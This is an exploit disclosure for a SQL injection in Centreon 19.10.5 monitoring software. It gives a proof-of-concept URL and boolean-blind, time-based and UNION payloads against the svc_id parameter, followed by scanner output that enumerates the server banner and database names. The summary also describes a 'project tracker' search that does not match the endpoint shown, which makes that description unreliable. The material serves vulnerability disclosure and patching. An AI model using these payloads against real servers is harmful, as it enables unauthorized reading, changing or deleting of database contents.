Exploit Title: Centreon 19.10.5 - 'id' SQL Injection

Date: 2020-04-19

Exploit Author: Basim alabdullah

Vendor Homepage: https://www.centreon.com

Software Link: https://download.centreon.com/

Version: v.19.10.5

Tested on: Centos 5

[EXECUTIVE SUMMARY]

Centreon has come a long way from its early roots. A user-friendly monitoring console on Nagios before, Centreon is today, a rich monitoring platform powered by Centreon Engine, Centreon Broker and Centreon Web.

Monitoring-savvy IT practitioners who want Nagios-inspired flexibility without its complexity, easily embrace Centreon for robust infrastructure systems and network performance monitoring. Downloaded by hundreds and thousands of IT professionals worldwide. The analysis discovered a time-based blind SQL injection vulnerability in the tracker functionality of Centreon Monitoring software. A malicious user can inject arbitrary SQL commands to the application. The vulnerability lies in the project tracker service search functionality; depending on project visibility successful exploitation may require user authentication. A successful attack can read, modify or delete data from the database or execute arbitrary commands on the underlying system.

[VULNERABLE VERSIONS]

The following version of the Centreon Monitoring was affected by the vulnerability; previous versions may be vulnerable as well:

Centreon version 19.10.5

[Proof of Concept]

http://TARGET/centreon/include/monitoring/acknowlegement/xml/broker/makeXMLForAck.php?hid=15&svc_id=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7176706b71%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716b716b71%29%2CNULL%2CNULL%23

[Payloads]

Parameter: svc_id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: hid=15&svc_id=1 OR NOT 5782=5782

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: hid=15&svc_id=1 AND (SELECT 1615 FROM (SELECT(SLEEP(5)))TRPy)

Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: hid=15&svc_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706b71,0x724b66756a476759544f48716d61496b5a68754a4c6f42634e6e775272724c44616e567355527a6f,0x716b716b71),NULL,NULL#

[12:24:35] [INFO] testing MySQL [12:24:35] [INFO] confirming MySQL [12:24:35] [INFO] the back-end DBMS is MySQL [12:24:35] [INFO] fetching banner web server operating system: Linux Red Hat web application technology: Apache 2.4.34, PHP 7.2.24 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) banner: '10.1.38-MariaDB' [12:24:35] [INFO] fetching database names [12:24:35] [INFO] starting 4 threads [12:24:35] [INFO] resumed: 'centreon' [12:24:35] [INFO] resumed: 'test' [12:24:35] [INFO] resumed: 'centreon_storage' [12:24:35] [INFO] resumed: 'information_schema' available databases [4]:
[] centreon [] centreon_storage [] information_schema [] test